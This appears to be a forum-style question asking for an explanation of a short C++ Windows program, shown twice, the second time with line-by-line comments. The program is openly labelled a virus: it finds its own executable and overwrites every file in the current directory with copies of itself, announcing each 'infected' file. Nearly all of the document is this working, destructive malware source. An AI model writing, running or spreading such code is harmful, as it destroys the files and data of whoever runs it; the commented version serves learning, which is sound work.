Explain about this code

#include<iostream>
#include<windows.h>

using namespace std;

int  main()
{
    char VirusFile[MAX_PATH];
    HANDLE Search;
    WIN32_FIND_DATA   FileData;
    BOOL Finished=FALSE;
    GetModuleFileName(0,VirusFile,sizeof(VirusFile));
    Search=FindFirstFile("*.*",&FileData);
    while(!Finished)
    {
        if(CopyFile(VirusFile,FileData.cFileName,FALSE))
        {
            cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
        }
        FindNextFile(Search,&FileData);
        if(GetLastError() == ERROR_NO_MORE_FILES)
        {
            Finished=TRUE;
        }
    }
    FindClose(Search);
    cout<<"\n";
    cout<<"<----****Files attack is complete****---->"<<endl;
    cout<<"\n";system("pause");
    return 0;
}

#include<iostream>
#include<windows.h>

using namespace std;

int  main()
{
    char VirusFile[MAX_PATH];   //Create a buffer to store the file path of this executable
    HANDLE Search;                 //Buffer handle, stores a handle to the current search.
    WIN32_FIND_DATA   FileData; //Contains data about the current file
    BOOL Finished=FALSE;           //Set from within the loop to 'true' when all the files have been enumerated through.
    GetModuleFileName(0,VirusFile,sizeof(VirusFile)); //Get the path of the the executable (this executable.)
    Search=FindFirstFile("*.*",&FileData); //Search handle created to describe the new search, FileData also describes the first file in current directory.
    while(!Finished) //Loop until all files are infected.
    {
        if(CopyFile(VirusFile,FileData.cFileName,FALSE)) //replace all files in this directory with this file
        {
            cout<<"<----Infected---->"<<' '<<FileData.cFileName<<endl;
        }
        FindNextFile(Search,&FileData); //Move on to the next file.
        if(GetLastError() == ERROR_NO_MORE_FILES)
        {
            Finished=TRUE;
        }
    }
    FindClose(Search); //Close file search handle.
    cout<<"\n";
    cout<<"<----****Files attack is complete****---->"<<endl;
    cout<<"\n";system("pause");
    return 0;
}